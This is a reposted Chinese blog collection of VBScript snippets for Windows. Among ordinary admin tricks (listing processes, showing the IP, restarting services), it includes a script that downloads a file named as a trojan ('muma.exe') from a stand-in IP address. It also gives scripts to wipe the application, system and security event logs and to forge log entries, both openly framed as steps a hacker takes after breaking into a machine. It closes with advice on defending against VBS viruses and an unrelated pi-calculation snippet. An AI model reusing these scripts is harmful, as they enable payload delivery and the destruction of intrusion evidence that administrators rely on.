zoukankan      html  css  js  c++  java
  • 经典的vbs脚本 合集

    1.文件下载(无回显) 
    echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe 
    echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe 
    echo Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbe 
    echo xPost.Open "GET",iRemote,0 >>iget.vbe 
    echo xPost.Send() >>iget.vbe 
    echo Set sGet = createObject("ADODB.Stream") >>iget.vbe 
    echo sGet.Mode = 3 >>iget.vbe 
    echo sGet.Type = 1 >>iget.vbe 
    echo sGet.Open() >>iget.vbe 
    echo sGet.Write(xPost.responseBody) >>iget.vbe 
    echo sGet.SaveToFile iLocal,2 >>iget.vbe 
    用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe 

    2.列举进程 
    @echo for each ps in getobject _ >ps.vbs 
    @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs 
    @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs 
    用法:cscript ps.vbs 

    3.终止进程 
    @echo for each ps in getobject _ >pskill.vbs 
    @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs 
    @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs 
    用法:cscript pskill.vbs pid 

    4.重启系统 
    @echo for each os in getobject _ >reboot.vbs 
    @echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs 
    @echo os.win32shutdown(2):next >>reboot.vbs 
    用法:cscript reboot.vbs 

    VBS脚本在系统安全中的八则巧妙应用 
    VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,目前大家对他也开始重视起来。VBS代码在本地是通过视窗系统 Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH,WSH是微软提供的一种基于32位视窗系统平台的、和语言无关的脚本解释机制,他使得脚本能够直接在视窗系统桌面或命令提示符下运行。利用WSH,用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在视窗系统 2000下,还可用WSH来访问视窗系统 NT活动目录服务。 
       
      用VBS编写的脚本程式在窗口界面是由wscript.exe文件解释执行的,在字符界面由cscript.exe文件解释执行。wscript.exe是个脚本语言解释器,正是他使得脚本能被执行,就象执行批处理相同。关于VBS大家一定比我熟悉多了,所以再不废话,直接进入主题,看看我总结的VBS在系统安全中的八则妙用吧。 
       
      一、给注册表编辑器解锁 
       
      用记事本编辑如下内容: 
       
      DIM WSH 
      SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") ’击活WScript.Shell对象 
      WSH.POPUP("解锁注册表编辑器!") 
      ’显示弹出信息“解锁注册表编辑器!” 
      WSH.Regwrite"HKCU\Software\Microsoft\视窗系统\CurrentVersion 
      \Policies\System\DisableRegistryTools",0,"REG_DWORD" 
      ’给注册表编辑器解锁 
      WSH.POPUP("注册表解锁成功!") 
      ’显示弹出信息“注册表解锁成功!” 
      保存为以.vbs为扩展名的文件,使用时双击即可。 
       
      二、关闭Win NT/2000的默认共享 
       
      用记事本编辑如下内容: 
       
      Dim WSHShell’定义变量 
      set WSHShell=CreateObject("WScript.shell") ’创建一个能和操作系统沟通的对象WSHShell 
      Dim fso,dc 
      Set fso=CreateObject("Scripting.FileSystemObject")’创建文件系统对象 
      set dc=fso.Drives ’获取所有驱动器盘符 
      For Each d in dc 
      Dim str 
      WSHShell.run("net share"&d.driveletter &"$ /delete")’关闭所有驱动器的隐藏共享 
      next 
      WSHShell.run("net share admin$ /delete") 
      WSHShell.run("net share ipc$ /delete")’关闭admin$和ipc$管道共享 
       
      目前来测试一下,先打开cmd.exe,输入net share命令就能看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了 
       
      三、显示本机IP地址 
       
      有许多时候,我们需要知道本机的IP地址,使用各种软件虽然能办到,但用VBS脚本也非常的方便。用记事本编辑如下内容: 
       
      Dim WS 
      Set WS=CreateObject("MSWinsock.Winsock") 
      IPAddress=WS.LocalIP 
      MsgBox "Local IP=" & IPAddress 
       
      将上面的内容保存为ShowIP.vbs,双击执行即可得到本机IP地址。 
       
      四、利用脚本编程删除日志 
       
      入侵系统成功后黑客做的第一件事便是清除日志,如果以图像界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,能在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是非常困难的,实际上不是这样,比方说利用脚本编程中的VMI就能删除日志,而且非常的简单方便。原始码如下: 
       
      strComputer= "." 
      Set objWMIService = GetObject("winmgmts:" _ 
      & "{impersonationLevel=impersonate,(Backup)}!\\" & _ 
      strComputer & "\root\cimv2") 
      dim mylogs(3) 
      mylogs(1)="application" 
      mylogs(2)="system" 
      mylogs(3)="security" 
      for Each logs in mylogs 
      Set colLogFiles=objWMIService.ExecQuery _ 
      ("Select * from Win32_NTEventLogFile where LogFileName=’"&logs&"’") 
      For Each objLogfile in colLogFiles 
      objLogFile.ClearEventLog() 
      Next 
      next 
       
      将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果更有其他日志也能加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。 
       
      五、利用脚本伪造日志 
       
      删除日志后,所有一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会怎么伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码: 
       
      set ws=wscript.createobject("Wscript.shell") 
      ws.logevent 0 ,"write log success" ’创建一个成功执行日志 
       
      将上面的代码保存为createlog.vbs即可。这段代码非常容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,能使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程式日志,而且日志来源只能为WSH,即视窗系统 Scripting Host,所以不能起太多的隐蔽作用,在此仅供大家参考。 
       
      六、禁用开始菜单选项 
       
      用记事本编辑如下内容: 
       
      Dim ChangeStartMenu 
      Set ChangeStartMenu=WScript.CreateObject("WScript.Shell") 
      RegPath="HKCR\Software\Microsoft\视窗系统\CurrentVersion\Policies\" 
      Type_Name="REG_DWORD" 
      Key_Data=1 
       
      StartMenu_Run="NoRun" 
      StartMenu_Find="NoFind" 
      StartMenu_Close="NoClose" 
       
      Sub Change(Argument) 
      ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name 
      MsgBox("Success!") 
      End Sub 
       
      Call Change(StartMenu_Run) ’禁用“开始”菜单中的“运行”功能 
      Call Change(StartMenu_Find) ’禁用“开始”菜单中的“查找”功能 
      Call Change(StartMenu_Close) ’禁用“开始”菜单中的“关闭系统”功能 
       
      将以上代码保存为ChangeStartMenu.vbs文件,使用时双击即可。 
       
      七、执行外部程式 
       
      用记事本编辑如下内容: 
       
      DIM objShell 
      set objShell=wscript.createObject("wscript.shell") 
      iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE) 
       
      保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户能使用%Comspec%来代替cmd.exe,并且能把命令:set var=world改成其他的命令,这样就能使他能运行任意的命令。 
       
      八、重新启动指定的IIS服务 
       
      用记事本编辑如下内容: 
       
      Const ADS_SERVICE_STOPPED = 1 
      Set objComputer = GetObject("WinNT://MYCOMPUTER,computer") 
      Set objService = objComputer.GetObject("Service","MYSERVICE") 
      If (objService.Status = ADS_SERVICE_STOPPED) Then 
      objService.Start 
      End If 
       
      将他以startsvc.vbs为名保存在C盘根目录。并通过如下命令执行:cscript c:\startsvc.vbs。运行后,经你指定的IIS服务项将被重新开启。 
       
      最后,我们再说说开篇时提到的VBS脚本病毒的防范方法。VBS病毒的执行离不开WSH,在带给人们便利的同时,WSH也为病毒的传播留下可乘之机。所以要想防范VBS病毒,能选择将WSH卸载,只要打开控制面板,找到“添加/删除程式”,点选“视窗系统安装程式”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“视窗系统 Scripting Host”一项的“√”去掉,然后连续点两次“确定”就能将WSH卸载。或,你也能点击“我的计算机”→“查看”→“目录选项”,在弹出的对话框中,点击“文件类型”,然后删除VBS、VBE、JS、JSE文件后缀名和应用程式的映射,都能达到防范VBS脚本病毒的目的。 

    当最后一项的绝对值小于0.000001时停止计算。 
    编写如下VBScript程式代码: 
    <HTML> 
    <HEAD><TITLE>计算圆周率π</TITLE></HEAD> 
    <BODY><H3>计算圆周率π</H3><HR> 
    <INPUT TYPE="Button" NAME="Button1" VALUE="计算"> 
    <SCRIPT FOR="Button1" EVENT="onClick" LANGUAGE="VBScript"> 
    k = 1: s = 1: t = 1: m = 1 

    图3-12 计算圆周率 
    While Abs(t) > 0.0000001 
    k = k + 2 
    m = -m 
    t = m / k 
    s = s + t 
    Wend 
    MsgBox "圆周率π=" & 4 * s 
    </SCRIPT> 
    </BODY> 
    </HTML> 
    执行VBScript程式,浏览器显示如图3-12所示。 
    注意:程式运行时间可能非常长。
  • 相关阅读:
    【BZOJ4514】【SDOI2016】数字配对 [费用流]
    【BZOJ4517】【SDOI2016】排列计数 [数论]
    【BZOJ4516】【SDOI2016】生成魔咒 [SAM]
    【BZOJ1560】【JSOI2009】火星藏宝图 [DP]
    【BZOJ4903】【CTSC2017】吉夫特 [DP]
    【BZOJ3884】上帝与集合的正确用法 [欧拉定理]
    【BZOJ4869】相逢是问候 [线段树][欧拉定理]
    树和二叉树知识点总结
    Socket详解
    Host文件简介
  • 原文地址:https://www.cnblogs.com/joeblackzqq/p/1966213.html
Copyright © 2011-2022 走看看